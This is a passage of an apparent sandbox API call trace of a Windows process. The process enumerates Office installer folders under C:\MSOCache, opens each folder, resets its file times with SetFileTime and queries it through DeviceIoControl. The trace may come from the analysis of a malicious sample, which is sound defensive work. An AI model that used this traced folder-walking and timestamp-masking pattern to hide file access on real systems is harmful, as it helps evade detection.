ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.702] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0040.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.702] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.702] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5d78 [0040.702] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0040.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed64c0 [0040.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5e80 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed64e0 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed69e8 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6500 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed6af0 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6520 [0040.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed6bf8 [0040.704] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.704] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.704] GetLastError () returned 0x12 [0040.704] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0040.705] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.705] GetLastError () returned 0x12 [0040.705] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5c70) returned 1 [0040.705] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0040.705] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5d78) returned 1 [0040.705] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5a58) returned 1 [0040.705] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.705] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.935] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0040.938] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0040.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0040.940] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0040.942] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0040.945] NtClose (Handle=0x170) returned 0x0 [0040.946] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0040.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0040.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5a58 [0040.949] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0040.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5c70 [0040.950] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c38 [0041.223] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.309] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="")) returned 1 [0041.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.309] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.309] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed5d78 [0041.531] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0041.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6540 [0041.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed6d00 [0041.532] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.532] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="")) returned 1 [0041.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.532] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.532] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.534] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6560 [0041.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed6e08 [0041.535] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.535] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0041.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.535] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.535] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6580 [0041.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed6f10 [0041.537] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.537] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.538] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.538] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed65a0 [0041.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed7018 [0041.539] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0041.540] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.543] GetLastError () returned 0x12 [0041.543] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0041.543] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="")) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="")) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.544] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.544] GetLastError () returned 0x12 [0041.544] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5c70) returned 1 [0041.544] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0041.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5d78) returned 1 [0041.545] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5a58) returned 1 [0041.545] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0041.545] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.597] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0041.597] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0041.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0041.597] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0041.597] RtlFreeHeap 